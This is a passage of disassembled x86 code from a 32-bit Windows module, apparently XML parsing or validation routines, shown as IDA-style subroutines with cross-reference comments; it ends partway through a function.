push esi
xor esi, esi
cmp [esp+4+arg_0], esi
push edi
mov edi, ecx
jnz short loc_69B7297C
push esi
push [esp+0Ch+arg_4]
call sub_69B72316
mov ecx, [esp+8+arg_4]
push esi
push esi
push esi
call sub_69B6F0B5
test eax, eax
jz short loc_69B72987
loc_69B7297C: ; CODE XREF: sub_69B72956+Aj
push [esp+8+arg_4]
mov ecx, edi
call sub_69B725AD
loc_69B72987: ; CODE XREF: sub_69B72956+24j
pop edi
pop esi
retn 8
sub_69B72956 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7298C proc near ; CODE XREF: sub_69B72E2D+116p
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push [ebp+arg_4]
mov [ebp+var_4], ecx
lea ecx, [ebp+var_10]
call sub_69B722D5
lea ecx, [ebp+var_10]
call sub_69B722F1
mov esi, eax
test esi, esi
jz short loc_69B72A29
push ebx
push edi
mov edi, [ebp+arg_0]
loc_69B729B4: ; CODE XREF: sub_69B7298C+99j
mov eax, [esi]
push 0
push 0
mov ecx, esi
call dword ptr [eax+4Ch]
cmp dword ptr [edi+0A8h], 2
mov [ebp+arg_0], eax
jz short loc_69B729FC
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov eax, [eax+10h]
cmp eax, dword_69B95A5C
jnz short loc_69B72A31
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov eax, [eax+14h]
mov ecx, [edi+68h]
push 0
push 0
push eax
call sub_69B4D2DF
cmp eax, dword_69B9B628
jz short loc_69B72A19
loc_69B729FC: ; CODE XREF: sub_69B7298C+3Dj
; sub_69B7298C+BBj
mov ecx, [ebp+arg_8]
push esi
call sub_69B75495
push [ebp+arg_0]
mov ecx, [ebp+arg_8]
call sub_69B754B0
mov ecx, [ebp+arg_8]
loc_69B72A13: ; CODE XREF: sub_69B7298C+E5j
push esi
call sub_69B754CF
loc_69B72A19: ; CODE XREF: sub_69B7298C+6Ej
; sub_69B7298C+ABj
lea ecx, [ebp+var_10]
call sub_69B722F1
mov esi, eax
test esi, esi
jnz short loc_69B729B4
pop edi
pop ebx
loc_69B72A29: ; CODE XREF: sub_69B7298C+21j
mov eax, [ebp+arg_8]
pop esi
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B72A31: ; CODE XREF: sub_69B7298C+4Fj
cmp eax, dword_69B9B628
jz short loc_69B72A19
push [ebp+arg_0]
mov ecx, edi
call sub_69B6EB1C
mov ebx, eax
test ebx, ebx
jz short loc_69B729FC
mov ecx, [ebp+arg_8]
push esi
call sub_69B75495
push ebx
push [ebp+arg_4]
call sub_69B70235
mov ecx, [ebp+var_4]
push eax
call sub_69B7287B
mov ecx, [ebp+var_4]
call sub_69B728E6
mov ecx, eax
mov [ebp+arg_8], ecx
jmp short loc_69B72A13
sub_69B7298C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B72A73 proc near ; CODE XREF: sub_69B72CD6:loc_69B72D69p
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_8]
push esi
xor eax, eax
xor esi, esi
cmp ebx, dword_69B9B5F0
push edi
mov edi, [ebp+arg_C]
mov [ebp+var_8], ecx
mov [ebp+var_1], 0
jnz short loc_69B72A9E
push eax
push edi
push ecx
call sub_69B732C4
jmp short loc_69B72B18
; ---------------------------------------------------------------------------
loc_69B72A9E: ; CODE XREF: sub_69B72A73+1Fj
cmp ebx, dword_69B9B5D0
jnz short loc_69B72AAF
push eax
push edi
call sub_69B70235
jmp short loc_69B72B18
; ---------------------------------------------------------------------------
loc_69B72AAF: ; CODE XREF: sub_69B72A73+31j
cmp ebx, dword_69B9B5E8
jnz short loc_69B72AC1
push eax
push edi
push ecx
call sub_69B703F0
jmp short loc_69B72B18
; ---------------------------------------------------------------------------
loc_69B72AC1: ; CODE XREF: sub_69B72A73+42j
cmp ebx, dword_69B9B5E0
jnz short loc_69B72AD2
push edi
push ecx
call sub_69B72933
jmp short loc_69B72B18
; ---------------------------------------------------------------------------
loc_69B72AD2: ; CODE XREF: sub_69B72A73+54j
cmp ebx, dword_69B9B5D8
jnz short loc_69B72AE4
push eax
push edi
push ecx
call sub_69B75F5E
jmp short loc_69B72B18
; ---------------------------------------------------------------------------
loc_69B72AE4: ; CODE XREF: sub_69B72A73+65j
cmp ebx, dword_69B9B5C8
jnz short loc_69B72AF0
push 0FFFFFFFFh
jmp short loc_69B72B11
; ---------------------------------------------------------------------------
loc_69B72AF0: ; CODE XREF: sub_69B72A73+77j
cmp ebx, dword_69B9B5B8
jnz short loc_69B72AFC
push 0Fh
jmp short loc_69B72B11
; ---------------------------------------------------------------------------
loc_69B72AFC: ; CODE XREF: sub_69B72A73+83j
cmp ebx, dword_69B9B5C0
jnz short loc_69B72B07
push eax
jmp short loc_69B72B11
; ---------------------------------------------------------------------------
loc_69B72B07: ; CODE XREF: sub_69B72A73+8Fj
cmp ebx, dword_69B9B5B0
jnz short loc_69B72B25
push 2
loc_69B72B11: ; CODE XREF: sub_69B72A73+7Bj
; sub_69B72A73+87j ...
push edi
push ecx
call sub_69B75DBB
loc_69B72B18: ; CODE XREF: sub_69B72A73+29j
; sub_69B72A73+3Aj ...
mov esi, eax
test esi, esi
jnz loc_69B72C4D
mov ecx, [ebp+var_8]
loc_69B72B25: ; CODE XREF: sub_69B72A73+9Aj
cmp ebx, dword_69B9B5A0
jnz short loc_69B72B38
push 5
push edi
push ecx
call sub_69B75DBB
jmp short loc_69B72B70
; ---------------------------------------------------------------------------
loc_69B72B38: ; CODE XREF: sub_69B72A73+B8j
cmp ebx, dword_69B9B598
jnz short loc_69B72B48
push edi
call sub_69B7598A
jmp short loc_69B72B70
; ---------------------------------------------------------------------------
loc_69B72B48: ; CODE XREF: sub_69B72A73+CBj
cmp ebx, dword_69B9B580
jnz short loc_69B72B62
push 1
push edi
push ecx
push [ebp+arg_0]
call sub_69B73499
mov [ebp+var_1], 1
jmp short loc_69B72B70
; ---------------------------------------------------------------------------
loc_69B72B62: ; CODE XREF: sub_69B72A73+DBj
cmp ebx, dword_69B9B560
jnz short loc_69B72B89
push edi
call sub_69B75912
loc_69B72B70: ; CODE XREF: sub_69B72A73+C3j
; sub_69B72A73+D3j ...
mov esi, eax
test esi, esi
jz short loc_69B72B84
mov ecx, [ebp+arg_0]
push edi
call sub_69B6EB90
jmp loc_69B72C47
; ---------------------------------------------------------------------------
loc_69B72B84: ; CODE XREF: sub_69B72A73+101j
mov ecx, [ebp+var_8]
xor eax, eax
loc_69B72B89: ; CODE XREF: sub_69B72A73+F5j
cmp ebx, dword_69B9B558
jnz short loc_69B72BBD
mov ecx, [ebp+arg_0]
push edi
call sub_69B6EB68
push edi
call sub_69B73061
mov ecx, [ebp+var_8]
push eax
call sub_69B7287B
push [ebp+arg_4]
mov ecx, [ebp+var_8]
push edi
push [ebp+arg_0]
call sub_69B7267F
jmp loc_69B72C63
; ---------------------------------------------------------------------------
loc_69B72BBD: ; CODE XREF: sub_69B72A73+11Cj
cmp ebx, dword_69B9B530
jnz short loc_69B72BCF
push edi
call sub_69B752DA
loc_69B72BCB: ; CODE XREF: sub_69B72A73+16Aj
; sub_69B72A73+17Aj ...
mov esi, eax
jmp short loc_69B72C3A
; ---------------------------------------------------------------------------
loc_69B72BCF: ; CODE XREF: sub_69B72A73+150j
cmp ebx, dword_69B9B528
jnz short loc_69B72BDF
push edi
call sub_69B75733
jmp short loc_69B72BCB
; ---------------------------------------------------------------------------
loc_69B72BDF: ; CODE XREF: sub_69B72A73+162j
cmp ebx, dword_69B9B520
jnz short loc_69B72BEF
push edi
call sub_69B755D6
jmp short loc_69B72BCB
; ---------------------------------------------------------------------------
loc_69B72BEF: ; CODE XREF: sub_69B72A73+172j
cmp ebx, dword_69B9B548
jnz short loc_69B72BFB
push 0Bh
jmp short loc_69B72C1D
; ---------------------------------------------------------------------------
loc_69B72BFB: ; CODE XREF: sub_69B72A73+182j
cmp ebx, dword_69B9B550
jnz short loc_69B72C07
push 6
jmp short loc_69B72C1D
; ---------------------------------------------------------------------------
loc_69B72C07: ; CODE XREF: sub_69B72A73+18Ej
cmp ebx, dword_69B9B540
jnz short loc_69B72C13
push 5
jmp short loc_69B72C1D
; ---------------------------------------------------------------------------
loc_69B72C13: ; CODE XREF: sub_69B72A73+19Aj
cmp ebx, dword_69B9B538
jnz short loc_69B72C26
push 4
loc_69B72C1D: ; CODE XREF: sub_69B72A73+186j
; sub_69B72A73+192j ...
push edi
push ecx
call sub_69B75DBB
jmp short loc_69B72BCB
; ---------------------------------------------------------------------------
loc_69B72C26: ; CODE XREF: sub_69B72A73+1A6j
push eax
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
push eax
push 0C00CE301h
call sub_69B6E277
loc_69B72C3A: ; CODE XREF: sub_69B72A73+15Aj
test esi, esi
jz short loc_69B72C47
mov ecx, [ebp+arg_0]
push edi
call sub_69B6EB68
loc_69B72C47: ; CODE XREF: sub_69B72A73+10Cj
; sub_69B72A73+1C9j
cmp [ebp+var_1], 0
jnz short loc_69B72C56
loc_69B72C4D: ; CODE XREF: sub_69B72A73+A9j
mov ecx, [ebp+var_8]
push esi
call sub_69B7287B
loc_69B72C56: ; CODE XREF: sub_69B72A73+1D8j
push [ebp+arg_4]
mov eax, [esi]
push [ebp+arg_0]
mov ecx, esi
call dword ptr [eax+3Ch]
loc_69B72C63: ; CODE XREF: sub_69B72A73+145j
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B72A73 endp
; =============== S U B R O U T I N E =======================================
sub_69B72C6A proc near ; CODE XREF: sub_69B72CD6+8Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_8]
cmp eax, dword_69B9B600
push esi
mov esi, [esp+4+arg_C]
push edi
mov edi, ecx
jz short loc_69B72C9C
cmp eax, dword_69B9B5F8
jz short loc_69B72C9C
mov eax, [esi]
push 0
push 0
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push 0C00CE301h
call sub_69B6E277
loc_69B72C9C: ; CODE XREF: sub_69B72C6A+12j
; sub_69B72C6A+1Aj
push 1
push esi
push edi
call sub_69B75F5E
mov esi, eax
push esi
mov ecx, edi
call sub_69B7287B
push [esp+8+arg_4]
mov eax, [esi]
push [esp+0Ch+arg_0]
mov ecx, esi
call dword ptr [eax+3Ch]
pop edi
pop esi
retn 10h
sub_69B72C6A endp
; =============== S U B R O U T I N E =======================================
sub_69B72CC3 proc near ; DATA XREF: .text:69B141D4o
; .text:69B1431Co ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B7287B
inc dword ptr [esi+18h]
pop esi
retn 4
sub_69B72CC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B72CD6 proc near ; CODE XREF: sub_69B72DBF:loc_69B72E0Ep
; sub_69B72E2D+123p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
push [ebp+arg_4]
mov esi, ecx
lea ecx, [ebp+var_C]
call sub_69B722A0
lea ecx, [ebp+var_C]
call sub_69B722B9
mov edi, eax
test edi, edi
jz loc_69B72DB6
push ebx
mov ebx, [ebp+arg_0]
loc_69B72D01: ; CODE XREF: sub_69B72CD6+D9j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test eax, eax
jnz loc_69B72D91
mov ecx, [ebx+68h]
push edi
call sub_69B4DD27
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
push dword ptr [eax+10h]
mov ecx, ebx
mov [ebp+arg_4], eax
call sub_69B6EB35
test eax, eax
jz short loc_69B72D74
test byte ptr [esi+24h], 4
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
mov [ebp+arg_C], eax
jnz short loc_69B72D4D
mov edx, [esi]
push edi
push eax
push [ebp+arg_8]
mov ecx, esi
push ebx
call dword ptr [edx+54h]
loc_69B72D4D: ; CODE XREF: sub_69B72CD6+68j
mov eax, [esi+24h]
test al, 4
jz short loc_69B72D6E
test al, 2
push edi
push [ebp+arg_C]
mov ecx, esi
push [ebp+arg_8]
push ebx
jz short loc_69B72D69
call sub_69B72C6A
jmp short loc_69B72D6E
; ---------------------------------------------------------------------------
loc_69B72D69: ; CODE XREF: sub_69B72CD6+8Aj
call sub_69B72A73
loc_69B72D6E: ; CODE XREF: sub_69B72CD6+7Cj
; sub_69B72CD6+91j
and [ebp+arg_C], 0
jmp short loc_69B72D86
; ---------------------------------------------------------------------------
loc_69B72D74: ; CODE XREF: sub_69B72CD6+59j
push [ebp+arg_C]
mov eax, [esi]
push [ebp+arg_8]
mov ecx, esi
push edi
push ebx
call dword ptr [eax+58h]
mov [ebp+arg_C], eax
loc_69B72D86: ; CODE XREF: sub_69B72CD6+9Cj
mov ecx, [ebx+68h]
push edi
call sub_69B4DDE6
jmp short loc_69B72DA3
; ---------------------------------------------------------------------------
loc_69B72D91: ; CODE XREF: sub_69B72CD6+34j
push [ebp+arg_C]
mov eax, [esi]
push [ebp+arg_8]
mov ecx, esi
push edi
push ebx
call dword ptr [eax+58h]
mov [ebp+arg_C], eax
loc_69B72DA3: ; CODE XREF: sub_69B72CD6+B9j
lea ecx, [ebp+var_C]
call sub_69B722B9
mov edi, eax
test edi, edi
jnz loc_69B72D01
pop ebx
loc_69B72DB6: ; CODE XREF: sub_69B72CD6+21j
mov eax, [ebp+arg_C]
pop edi
pop esi
leave
retn 10h
sub_69B72CD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B72DBF proc near ; CODE XREF: sub_69B70438+2Bp
; DATA XREF: .text:69B141C4o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
test byte ptr [esi+24h], 1
push edi
jz short loc_69B72DD2
mov eax, [ebp+arg_4]
jmp short loc_69B72DDC
; ---------------------------------------------------------------------------
loc_69B72DD2: ; CODE XREF: sub_69B72DBF+Cj
push [ebp+arg_4]
mov ecx, esi
call sub_69B73078
loc_69B72DDC: ; CODE XREF: sub_69B72DBF+11j
mov edi, [ebp+arg_0]
mov ebx, [esi+0Ch]
mov [ebp+arg_4], eax
push [ebp+arg_4]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+50h]
lea ecx, [edi+70h]
call sub_69B704FE
test byte ptr [esi+24h], 1
push 0
push [ebp+arg_4]
mov ecx, esi
push ebx
push edi
jz short loc_69B72E0E
mov eax, [esi]
call dword ptr [eax+58h]
jmp short loc_69B72E13
; ---------------------------------------------------------------------------
loc_69B72E0E: ; CODE XREF: sub_69B72DBF+46j
call sub_69B72CD6
loc_69B72E13: ; CODE XREF: sub_69B72DBF+4Dj
lea ecx, [edi+70h]
call sub_69B70774
push [ebp+arg_4]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+5Ch]
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B72DBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B72E2D proc near ; DATA XREF: .text:69B141E0o
; .text:69B14328o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
test byte ptr [esi+24h], 2
push edi
jz short loc_69B72E6D
cmp dword ptr [ebx+0A8h], 2
jz short loc_69B72E6D
mov edi, [ebp+arg_4]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
test eax, eax
jnz loc_69B72F6F
mov ecx, [esi+0Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+3Ch]
push eax
call sub_69B6FE1A
jmp loc_69B72F6F
; ---------------------------------------------------------------------------
loc_69B72E6D: ; CODE XREF: sub_69B72E2D+Fj
; sub_69B72E2D+18j
mov edi, [ebp+arg_4]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
xor ecx, ecx
sub eax, ecx
jz loc_69B72F15
dec eax
jz short loc_69B72E90
sub eax, 4
jz short loc_69B72EDA
dec eax
jnz loc_69B72F6F
loc_69B72E90: ; CODE XREF: sub_69B72E2D+55j
cmp [ebp+arg_C], ecx
jnz short loc_69B72E9F
mov ecx, esi
call sub_69B728E6
mov [ebp+arg_C], eax
loc_69B72E9F: ; CODE XREF: sub_69B72E2D+66j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+50h]
mov ecx, [ebp+arg_C]
mov edi, eax
push edi
call sub_69B754B0
test byte ptr [esi+24h], 4
jnz loc_69B72F6F
mov ecx, edi
call sub_69B2EF67
xor ecx, ecx
test al, al
setz cl
shl ecx, 2
xor ecx, [esi+24h]
and ecx, 4
xor [esi+24h], ecx
jmp loc_69B72F6F
; ---------------------------------------------------------------------------
loc_69B72EDA: ; CODE XREF: sub_69B72E2D+5Aj
cmp dword ptr [ebx+0A8h], 2
jnz loc_69B72F6F
cmp [ebp+arg_C], ecx
jnz short loc_69B72EF6
mov ecx, esi
call sub_69B728E6
mov [ebp+arg_C], eax
loc_69B72EF6: ; CODE XREF: sub_69B72E2D+BDj
mov ecx, [ebp+arg_C]
push edi
call sub_69B75495
mov eax, [edi]
push 1
push 0
mov ecx, edi
call dword ptr [eax+4Ch]
loc_69B72F0A: ; CODE XREF: sub_69B72E2D+10Dj
mov ecx, [ebp+arg_C]
push eax
call sub_69B754B0
jmp short loc_69B72F66
; ---------------------------------------------------------------------------
loc_69B72F15: ; CODE XREF: sub_69B72E2D+4Ej
or dword ptr [esi+24h], 4
cmp [ebp+arg_C], ecx
jnz short loc_69B72F28
mov ecx, esi
call sub_69B728E6
mov [ebp+arg_C], eax
loc_69B72F28: ; CODE XREF: sub_69B72E2D+EFj
mov ecx, [ebp+arg_C]
push edi
call sub_69B75495
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+50h]
test eax, eax
jnz short loc_69B72F0A
push [ebp+arg_C]
mov ecx, esi
push edi
push ebx
call sub_69B7298C
push eax
push [ebp+arg_8]
mov ecx, esi
push edi
push ebx
call sub_69B72CD6
test eax, eax
mov [ebp+arg_C], eax
jnz short loc_69B72F66
mov ecx, esi
call sub_69B728E6
mov [ebp+arg_C], eax
loc_69B72F66: ; CODE XREF: sub_69B72E2D+E6j
; sub_69B72E2D+12Dj
mov ecx, [ebp+arg_C]
push edi
call sub_69B754CF
loc_69B72F6F: ; CODE XREF: sub_69B72E2D+26j
; sub_69B72E2D+3Bj ...
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_69B72E2D endp
; =============== S U B R O U T I N E =======================================
sub_69B72F79 proc near ; CODE XREF: sub_69B72FBE+14p
; sub_69B732F4+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
test edi, edi
mov esi, ecx
mov [esi+0Ch], edi
jz short loc_69B72FB3
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+0D4h]
mov ecx, edi
xor eax, [esi+10h]
and eax, 1
xor [esi+10h], eax
mov eax, [edi]
call dword ptr [eax+0D8h]
movzx eax, al
shl eax, 1
xor eax, [esi+10h]
and eax, 2
xor [esi+10h], eax
loc_69B72FB3: ; CODE XREF: sub_69B72F79+Dj
pop edi
pop esi
retn 4
sub_69B72F79 endp
; =============== S U B R O U T I N E =======================================
sub_69B72FB8 proc near ; DATA XREF: .text:69B14114o
; .text:69B1625Co ...
mov eax, offset off_69B2A4F4
retn
sub_69B72FB8 endp
; =============== S U B R O U T I N E =======================================
sub_69B72FBE proc near ; CODE XREF: sub_69B752DA-5F0AFp
; sub_69B75733-5F448p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B18654
push [esp+4+arg_0]
mov ecx, esi
mov dword ptr [esi], offset off_69B140F8
call sub_69B72F79
mov eax, esi
pop esi
retn 4
sub_69B72FBE endp
; =============== S U B R O U T I N E =======================================
sub_69B72FDD proc near ; CODE XREF: sub_69B7251E+27j
; sub_69B756D0+11j
; DATA XREF: ...
and dword ptr [ecx+0Ch], 0
jmp nullsub_5
sub_69B72FDD endp
; =============== S U B R O U T I N E =======================================
sub_69B72FE6 proc near ; CODE XREF: sub_69B7013A+4p
; sub_69B7254A+4p
; DATA XREF: ...
push esi
mov esi, ecx
call sub_69B2F49D
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ecx, [esi+0Ch]
mov [eax+0Ch], ecx
pop esi
retn
sub_69B72FE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B72FFD proc near ; CODE XREF: sub_69B7521B+B3p
; sub_69B756E6+44p ...
var_4 = byte ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov ecx, [esi+0Ch]
mov eax, [ecx]
push edi
lea edx, [ebp+var_4]
push edx
call dword ptr [eax+68h]
jmp short loc_69B7303F
; ---------------------------------------------------------------------------
loc_69B73013: ; CODE XREF: sub_69B72FFD+46j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
cmp eax, 1
jz short loc_69B73033
cmp eax, 6
jz short loc_69B73033
mov ecx, [esi+0Ch]
mov eax, [ecx]
push edi
call dword ptr [eax+3Ch]
push eax
call sub_69B6FE1A
loc_69B73033: ; CODE XREF: sub_69B72FFD+20j
; sub_69B72FFD+25j
mov ecx, [esi+0Ch]
mov eax, [ecx]
lea edx, [ebp+var_4]
push edx
call dword ptr [eax+6Ch]
loc_69B7303F: ; CODE XREF: sub_69B72FFD+14j
mov edi, eax
test edi, edi
jnz short loc_69B73013
pop edi
pop esi
leave
retn
sub_69B72FFD endp
; =============== S U B R O U T I N E =======================================
sub_69B73049 proc near ; DATA XREF: .text:69B2A4F8o
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B7305E
push 0
mov ecx, eax
call sub_69B70050
retn
; ---------------------------------------------------------------------------
loc_69B7305E: ; CODE XREF: sub_69B73049+9j
xor eax, eax
retn
sub_69B73049 endp
; =============== S U B R O U T I N E =======================================
sub_69B73061 proc near ; CODE XREF: sub_69B72A73+128p
push 14h
call sub_69B17EF3
test eax, eax
jz short loc_69B73073
mov ecx, eax
jmp sub_69B72FBE
; ---------------------------------------------------------------------------
loc_69B73073: ; CODE XREF: sub_69B73061+9j
xor eax, eax
retn 4
sub_69B73061 endp
; =============== S U B R O U T I N E =======================================
sub_69B73078 proc near ; CODE XREF: sub_69B70438+Fp
; sub_69B71C1C+Fp ...
arg_0 = dword ptr 4
mov ecx, [ecx+0Ch]
push dword_69B9B4D8
mov eax, [ecx]
call dword ptr [eax+0A8h]
test eax, eax
jnz short locret_69B73091
mov eax, [esp+arg_0]
locret_69B73091: ; CODE XREF: sub_69B73078+13j
retn 4
sub_69B73078 endp
; =============== S U B R O U T I N E =======================================
sub_69B73094 proc near ; CODE XREF: sub_69B702BB+3Bp
; sub_69B71B94+56p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push edi
mov edi, [esi+2Ch]
test edi, edi
jz short loc_69B730E4
mov eax, [esi]
call dword ptr [eax+40h]
test al, al
jz short loc_69B730B9
mov ecx, [esi+2Ch]
mov eax, [ecx]
call dword ptr [eax+28h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+44h]
jmp short loc_69B730D1
; ---------------------------------------------------------------------------
loc_69B730B9: ; CODE XREF: sub_69B73094+12j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+84h]
test al, al
jz short loc_69B730D3
mov ecx, [esi+2Ch]
mov eax, [ecx]
push 0
call dword ptr [eax+7Ch]
loc_69B730D1: ; CODE XREF: sub_69B73094+23j
mov edi, eax
loc_69B730D3: ; CODE XREF: sub_69B73094+31j
mov eax, [edi]
push 1
push [esp+0Ch+arg_4]
mov ecx, edi
push [esp+10h+arg_0]
call dword ptr [eax+48h]
loc_69B730E4: ; CODE XREF: sub_69B73094+9j
mov eax, edi
pop edi
pop esi
retn 8
sub_69B73094 endp
; =============== S U B R O U T I N E =======================================
sub_69B730EB proc near ; DATA XREF: .text:69B21D1Co
; .text:69B21D9Co ...
push esi
mov esi, ecx
push 0
lea eax, [esi+2Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B7251E
sub_69B730EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B73101 proc near ; CODE XREF: sub_69B70336+1Bp
; DATA XREF: .text:69B21E4Co
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_8]
cmp eax, dword_69B9B590
push edi
mov edi, ecx
mov [ebp+var_4], edi
jnz loc_69B73220
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_C]
push esi
call sub_69B6EB90
mov eax, [esi]
mov edi, [edi+0Ch]
mov ecx, esi
call dword ptr [eax+64h]
xor ebx, ebx
cmp edi, eax
jz short loc_69B7314E
mov eax, [esi]
push ebx
push ebx
mov ecx, esi
call dword ptr [eax+3Ch]
push eax
push 0C00CE301h
call sub_69B6E277
loc_69B7314E: ; CODE XREF: sub_69B73101+37j
push esi
call sub_69B6FED3
mov edi, [ebp+arg_0]
add edi, 70h
mov ecx, edi
call sub_69B70774
mov ecx, [ebp+arg_0]
push 8
push dword_69B9B508
push esi
call sub_69B6EA8E
mov ecx, edi
mov [ebp+var_18], eax
call sub_69B704FE
cmp [ebp+var_18], ebx
jnz short loc_69B73196
push ebx
push ebx
call sub_69B67D20
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+var_18], ecx
loc_69B73196: ; CODE XREF: sub_69B73101+7Ej
push dword_69B9B4B0
mov eax, [esi]
mov ecx, esi
mov [ebp+var_14], bl
mov [ebp+var_C], ebx
call dword ptr [eax+0A8h]
mov edi, eax
cmp edi, ebx
jz short loc_69B731CB
mov ecx, [ebp+arg_0]
push edi
call sub_69B6EB1C
cmp eax, ebx
mov [ebp+var_C], eax
jnz short loc_69B731CB
push edi
call sub_69B6FF03
mov [ebp+var_14], al
loc_69B731CB: ; CODE XREF: sub_69B73101+AFj
; sub_69B73101+BFj
push dword_69B9B4A8
mov eax, [esi]
mov ecx, esi
mov [ebp+var_10], 5
mov [ebp+var_8], ebx
call dword ptr [eax+0A8h]
mov esi, eax
cmp esi, ebx
jz short loc_69B73204
mov ecx, [ebp+arg_0]
push esi
call sub_69B6EB1C
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_69B73204
push esi
call sub_69B6FFC1
mov [ebp+var_10], eax
loc_69B73204: ; CODE XREF: sub_69B73101+E8j
; sub_69B73101+F8j
mov esi, [ebp+var_4]
add esi, 2Ch
mov ecx, [esi]
mov eax, [ecx]
lea edx, [ebp+var_18]
push edx
call dword ptr [eax+78h]
push eax
push esi
call sub_69B17320
pop esi
pop ebx
jmp short loc_69B73224
; ---------------------------------------------------------------------------
loc_69B73220: ; CODE XREF: sub_69B73101+15j
or dword ptr [edi+24h], 4
loc_69B73224: ; CODE XREF: sub_69B73101+11Dj
pop edi
leave
retn 10h
sub_69B73101 endp
; =============== S U B R O U T I N E =======================================
sub_69B73229 proc near ; DATA XREF: .text:69B21E30o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, ecx
jnz short loc_69B73250
mov eax, [esi+28h]
push dword ptr [eax+18h]
lea eax, [esi+10h]
push eax
call sub_69B73094
push eax
push esi
mov ecx, edi
call sub_69B72316
loc_69B73250: ; CODE XREF: sub_69B73229+Dj
push 0
push 1
push 0
mov ecx, esi
call sub_69B6F0B5
test eax, eax
jz short loc_69B73269
push esi
mov ecx, edi
call sub_69B725AD
loc_69B73269: ; CODE XREF: sub_69B73229+36j
pop edi
pop esi
retn 8
sub_69B73229 endp
; =============== S U B R O U T I N E =======================================
sub_69B7326E proc near ; CODE XREF: sub_69B70438:loc_69B7047Ep
; DATA XREF: .text:69B21D38o ...
arg_0 = dword ptr 4
push ebx
push esi
lea esi, [ecx+2Ch]
mov eax, [esi]
xor ebx, ebx
cmp eax, ebx
push edi
mov edi, [ecx+0Ch]
jnz short loc_69B732AC
mov ecx, [esp+0Ch+arg_0]
push 4
push dword_69B9B508
push edi
call sub_69B6F425
cmp eax, ebx
jnz short loc_69B732AC
push ebx
push ebx
push 0FFFFFFFFh
push ebx
push ebx
push ebx
push ebx
push ebx
call sub_69B685B5
lea ecx, [eax+10h]
neg eax
sbb eax, eax
and eax, ecx
loc_69B732AC: ; CODE XREF: sub_69B7326E+Fj
; sub_69B7326E+25j
mov ecx, [esp+0Ch+arg_0]
push edi
push eax
call sub_69B6EAE1
push eax
push esi
call sub_69B17320
pop edi
pop esi
pop ebx
retn 8
sub_69B7326E endp
; =============== S U B R O U T I N E =======================================
sub_69B732C4 proc near ; CODE XREF: sub_69B72A73+24p
push 30h
call sub_69B17EF3
test eax, eax
jz short loc_69B732D6
mov ecx, eax
